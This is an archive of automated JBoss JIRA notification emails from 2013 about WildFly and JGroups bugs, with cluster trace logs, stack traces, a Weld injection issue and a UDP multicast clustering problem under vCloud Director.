> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM2:1299 (4 headers), size=391 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=11, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM2:1299#13
> 2013-08-30 09:50:28,116 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:28,116 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:32,921 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:32,921 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:35,948 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:37,726 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:37,726 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:42,531 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:42,531 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (Incoming-10,null) OM1:1299: received OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [MFC] (Incoming-10,null) OM1:1299 used 354 credits, 1997829 remaining
> 2013-08-30 09:50:44,824 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:44,824 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#14
> 2013-08-30 09:50:44,824 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 09:00:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 3 Sep 2013 09:00:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1991) Render new password input
 more user friendly
In-Reply-To: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499825.1378212466000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499825.1378212466000.5875.1378213205472@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1991?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-1991:
--------------------------------------

    Assignee: Darran Lofthouse  (was: Brian Stansberry)

    
> Render new password input more user friendly
> --------------------------------------------
>
>                 Key: WFLY-1991
>                 URL: https://issues.jboss.org/browse/WFLY-1991
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Bernard
>            Assignee: Darran Lofthouse
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:00:06 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 3 Sep 2013 09:00:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-680)
 org.jboss.as.server.mgmt.HttpManagementService.start leads to NPE
In-Reply-To: <JIRA.12454200.1323331922000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12454200.1323331922000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12454200.1323331922000.5892.1378213206777@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-680?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-680:
-------------------------------------

    Assignee: Darran Lofthouse

    
> org.jboss.as.server.mgmt.HttpManagementService.start leads to NPE
> -----------------------------------------------------------------
>
>                 Key: WFLY-680
>                 URL: https://issues.jboss.org/browse/WFLY-680
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: Richard Opalka
>            Assignee: Darran Lofthouse
>             Fix For: Awaiting Volunteers
>
>
> 08:53:58,375 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-3) MSC00001: Failed to start service jboss.serverManagement.controller.management.http: org.jboss.msc.service.StartException in service jboss.serverManagement.controller.management.http: Failed to start serverManagement socket
> 	at org.jboss.as.server.mgmt.HttpManagementService.start(HttpManagementService.java:189) [jboss-as-server-7.1.0.CR1-SNAPSHOT.jar:]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1824) [jboss-msc-1.0.1.GA.jar:]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1759) [jboss-msc-1.0.1.GA.jar:]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [:1.6.0_29]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [:1.6.0_29]
> 	at java.lang.Thread.run(Thread.java:662) [:1.6.0_29]
> Caused by: java.lang.NullPointerException
> 	at sun.nio.ch.Util.atBugLevel(Util.java:448) [:1.6.0_29]
> 	at sun.nio.ch.SelectorImpl.<init>(SelectorImpl.java:40) [:1.6.0_29]
> 	at sun.nio.ch.EPollSelectorImpl.<init>(EPollSelectorImpl.java:47) [:1.6.0_29]
> 	at sun.nio.ch.EPollSelectorProvider.openSelector(EPollSelectorProvider.java:18) [:1.6.0_29]
> 	at java.nio.channels.Selector.open(Selector.java:209) [:1.6.0_29]
> 	at org.jboss.sun.net.httpserver.ServerImpl.<init>(ServerImpl.java:147)
> 	at org.jboss.sun.net.httpserver.HttpServerImpl.<init>(HttpServerImpl.java:54)
> 	at org.jboss.sun.net.httpserver.DefaultHttpServerProvider.createHttpServer(DefaultHttpServerProvider.java:38)
> 	at org.jboss.com.sun.net.httpserver.HttpServer.create(HttpServer.java:147)
> 	at org.jboss.as.domain.http.server.ManagementHttpServer.create(ManagementHttpServer.java:105)
> 	at org.jboss.as.server.mgmt.HttpManagementService.start(HttpManagementService.java:154) [jboss-as-server-7.1.0.CR1-SNAPSHOT.jar:]
> 	... 5 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:02:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 3 Sep 2013 09:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-680)
 org.jboss.as.server.mgmt.HttpManagementService.start leads to NPE
In-Reply-To: <JIRA.12454200.1323331922000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12454200.1323331922000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12454200.1323331922000.5899.1378213323631@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-680?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved WFLY-680.
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: Awaiting Volunteers)
       Resolution: Out of Date


We have now moved from the Sun HTTP server to Undertow so the underlying issue here is no longer applicable.
                
> org.jboss.as.server.mgmt.HttpManagementService.start leads to NPE
> -----------------------------------------------------------------
>
>                 Key: WFLY-680
>                 URL: https://issues.jboss.org/browse/WFLY-680
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: Richard Opalka
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> 08:53:58,375 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-3) MSC00001: Failed to start service jboss.serverManagement.controller.management.http: org.jboss.msc.service.StartException in service jboss.serverManagement.controller.management.http: Failed to start serverManagement socket
> 	at org.jboss.as.server.mgmt.HttpManagementService.start(HttpManagementService.java:189) [jboss-as-server-7.1.0.CR1-SNAPSHOT.jar:]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1824) [jboss-msc-1.0.1.GA.jar:]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1759) [jboss-msc-1.0.1.GA.jar:]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [:1.6.0_29]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [:1.6.0_29]
> 	at java.lang.Thread.run(Thread.java:662) [:1.6.0_29]
> Caused by: java.lang.NullPointerException
> 	at sun.nio.ch.Util.atBugLevel(Util.java:448) [:1.6.0_29]
> 	at sun.nio.ch.SelectorImpl.<init>(SelectorImpl.java:40) [:1.6.0_29]
> 	at sun.nio.ch.EPollSelectorImpl.<init>(EPollSelectorImpl.java:47) [:1.6.0_29]
> 	at sun.nio.ch.EPollSelectorProvider.openSelector(EPollSelectorProvider.java:18) [:1.6.0_29]
> 	at java.nio.channels.Selector.open(Selector.java:209) [:1.6.0_29]
> 	at org.jboss.sun.net.httpserver.ServerImpl.<init>(ServerImpl.java:147)
> 	at org.jboss.sun.net.httpserver.HttpServerImpl.<init>(HttpServerImpl.java:54)
> 	at org.jboss.sun.net.httpserver.DefaultHttpServerProvider.createHttpServer(DefaultHttpServerProvider.java:38)
> 	at org.jboss.com.sun.net.httpserver.HttpServer.create(HttpServer.java:147)
> 	at org.jboss.as.domain.http.server.ManagementHttpServer.create(ManagementHttpServer.java:105)
> 	at org.jboss.as.server.mgmt.HttpManagementService.start(HttpManagementService.java:154) [jboss-as-server-7.1.0.CR1-SNAPSHOT.jar:]
> 	... 5 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:04:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 09:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1620) EJB in CDI enabled module
 gets registered twice leading to WELD-001409 Ambiguous dependencies...
In-Reply-To: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495442.1372692661000.5905.1378213443723@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1620?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801129#comment-12801129 ] 

RH Bugzilla Integration commented on WFLY-1620:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 980183|https://bugzilla.redhat.com/show_bug.cgi?id=980183] from NEW to POST
                
> EJB in CDI enabled module gets registered twice leading to WELD-001409 Ambiguous dependencies...
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1620
>                 URL: https://issues.jboss.org/browse/WFLY-1620
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Brad Maxwell
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha3
>
>
> If you have this no-interface @Stateless EJB in the module and have a
> beans.xml inside the module jar as well and then have a deployment
> depends on & imports the annotations, and then uses @Inject TestEjb,
> Weld will complain that there are two options an EJB and a ManagedBean
> and it doesn't know which to inject. According to [1] it should only be
> considered a managed bean if "It is not annotated with an EJB
> component-defining annotation or declared as an EJB bean class in
> |ejb-jar.xml|." 
> The error:
> WELD-001409 Ambiguous dependencies for type [TestEjb] with qualifiers [@Default] at injection point [[field] @Inject test.webapp.TestService.testEjb].
> Possible dependencies [[Session bean [class test.TestEjb with qualifiers [@Any @Default]; local interfaces are [TestEjb], Managed Bean [class test.TestEjb] with qualifiers [@Any @Default]]] 
> @Stateless
> public class TestEjb
> {
> public String hello() {
> return "Hello";
> }
> }
> If I move all of the classes into the test war, then Weld doesn't have
> an issue, so it seems there is some difference when the code is put into
> the modules directory.
> [1] http://docs.jboss.org/weld/reference/1.0.1-Final/en-US/html_single/#d0e792 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:04:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 09:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1620) EJB in CDI enabled module
 gets registered twice leading to WELD-001409 Ambiguous dependencies...
In-Reply-To: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495442.1372692661000.5910.1378213443946@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1620?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801130#comment-12801130 ] 

RH Bugzilla Integration commented on WFLY-1620:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> made a comment on [bug 980183|https://bugzilla.redhat.com/show_bug.cgi?id=980183]

relevant 6.2 PR: https://github.com/jbossas/jboss-eap/pull/345
                
> EJB in CDI enabled module gets registered twice leading to WELD-001409 Ambiguous dependencies...
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1620
>                 URL: https://issues.jboss.org/browse/WFLY-1620
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Brad Maxwell
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha3
>
>
> If you have this no-interface @Stateless EJB in the module and have a
> beans.xml inside the module jar as well and then have a deployment
> depends on & imports the annotations, and then uses @Inject TestEjb,
> Weld will complain that there are two options an EJB and a ManagedBean
> and it doesn't know which to inject. According to [1] it should only be
> considered a managed bean if "It is not annotated with an EJB
> component-defining annotation or declared as an EJB bean class in
> |ejb-jar.xml|." 
> The error:
> WELD-001409 Ambiguous dependencies for type [TestEjb] with qualifiers [@Default] at injection point [[field] @Inject test.webapp.TestService.testEjb].
> Possible dependencies [[Session bean [class test.TestEjb with qualifiers [@Any @Default]; local interfaces are [TestEjb], Managed Bean [class test.TestEjb] with qualifiers [@Any @Default]]] 
> @Stateless
> public class TestEjb
> {
> public String hello() {
> return "Hello";
> }
> }
> If I move all of the classes into the test war, then Weld doesn't have
> an issue, so it seems there is some difference when the code is put into
> the modules directory.
> [1] http://docs.jboss.org/weld/reference/1.0.1-Final/en-US/html_single/#d0e792 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:06:03 2013
From: jira-events at lists.jboss.org (sachin jopat (JIRA))
Date: Tue, 3 Sep 2013 09:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1686) JBOSS CLUSTER issues in
	vCloud Director
In-Reply-To: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499806.1378199325000.5914.1378213563465@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1686?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

sachin jopat updated JGRP-1686:
-------------------------------

    Labels: JBoss farming  (was: new_and_noteworthy)

    
> JBOSS CLUSTER issues in vCloud Director
> ---------------------------------------
>
>                 Key: JGRP-1686
>                 URL: https://issues.jboss.org/browse/JGRP-1686
>             Project: JGroups
>          Issue Type: Bug
>         Environment: VMWare vCloud Director
>            Reporter: sachin jopat
>            Assignee: Bela Ban
>              Labels: JBoss, farming
>
> Background:-
> We recently migrated from VM LabManager to VM vCloud director for virtualization and have been using JBOSS6.1.0 from sometime. So this may not be an issue in JBOSS, but looking for a workaround here.
> Problem Statement:-
> While starting Cluster server, it fails to communicate with other servers using UDP multicast for cluster communication, but when we change the transport mechanism from UDP to TCP  for cluster communication, the same settings work. Strange, but however we tested UDP multicast is not blocked on VCloud.
> Below is the change in the Jboss application run.bat file, which worked. But using tcp is not a preferred option especially when we plan to have 8-10 clusters:-
> Original 
> ?set COMMAND_ARGS=%COMMAND_ARGS% -u %REM_MCAST_ADDR%? 
> Changed
> ?set COMMAND_ARGS=%COMMAND_ARGS% -Djboss.default.jgroups.stack=tcp?
> Changes to run JBoss clusters are confined to the JGroups configuration and all configurations for UDP and TCP are in the below XML file:-
> JBOSS/server/CONFIG/deploy/cluster/jgroupschannelfactory.sar/META-INF/jgroups-channelfactorystacks.xml
> Sample configuration:-
> <protocol_stacks>
> <stack name="udp">
> <config>
> <UDP bind_port="${jboss.jgroups.udp.bind_port:55200}" />
> <PING timeout="2000" num_initial_members="3"/>
> <MERGE2 max_interval="100000" min_interval="20000"/>
> <FD_SOCK/>
> <FD timeout="6000" max_tries="5"/>
> <pbcast.NAKACK retransmit_timeout="300,600,1200" />
> <UNICAST timeout="300,600,1200,2400,3600"/>
> <pbcast.STABLE desired_avg_gossip="50000" max_bytes="400k"/>
> <pbcast.GMS join_timeout="3000" />
> <FRAG2 frag_size="60k"/>
> </config>
> </stack>
> <stack name="tcp">
> <config>
> <TCP start_port="${jboss.jgroups.tcp.tcp_port:7600}"/>
> <TCPPING timeout="3000"
> initial_hosts="Host-A[7600],Host-B[7600]?/>
> ...
> </config>
> </stack>
> </protocol_stacks>
> Please find below the logs.
> So it stops at the below step on the agent cluster node which we try to start soon after Farm agent server successfully started:-
> Cluster agent boot log:-
> 09:49:39,196 INFO  [HANamingService] Started HAJNDI bootstrap; jnpPort=1300, backlog=50, bindAddress=OM2/192.168.1.201
> 09:49:39,211 INFO  [DetachedHANamingService$AutomaticDiscovery] Listening on /192.168.1.201:1102, group=224.1.1.3, HA-JNDI address=192.168.1.201:1300
> 09:49:39,227 INFO  [TransactionManagerFactory] Using a batchMode transaction manager
> 09:49:39,242 INFO  [ComponentsJmxRegistration] Could not register object with name: org.infinispan:type=Cache,name="distributed-tree(repl_sync)",manager="ha-partition",component=Cache
> 09:49:39,242 INFO  [CacheJmxRegistration] MBeans were successfully registered to the platform mbean server.
> 09:49:39,258 INFO  [RpcManagerImpl] Trying to fetch state from OM1:1299
> 09:49:39,492 INFO  [RpcManagerImpl] Successfully retrieved and applied state from OM1:1299
> 09:49:39,492 INFO  [ComponentRegistry] Infinispan version: Infinispan 'Ursus' 4.2.0.FINAL
> 09:49:39,492 INFO  [DefaultCacheContainerFactory] Started "distributed-tree" cache from "ha-partition" container
> Farm agent server log:-
> 2013-08-30 09:48:16,374 INFO  [Http11Protocol] (Thread-2) Starting Coyote HTTP/1.1 on http-OM1%2F192.168.1.200-8280
> 2013-08-30 09:48:16,390 INFO  [AjpProtocol] (Thread-2) Starting Coyote AJP/1.3 on ajp-OM1%2F192.168.1.200-8209
> 2013-08-30 09:48:16,390 INFO  [AbstractServer] (Thread-2) JBossAS [6.1.0.Final "Neo"] Started in 1m:6s:488ms
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-11,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
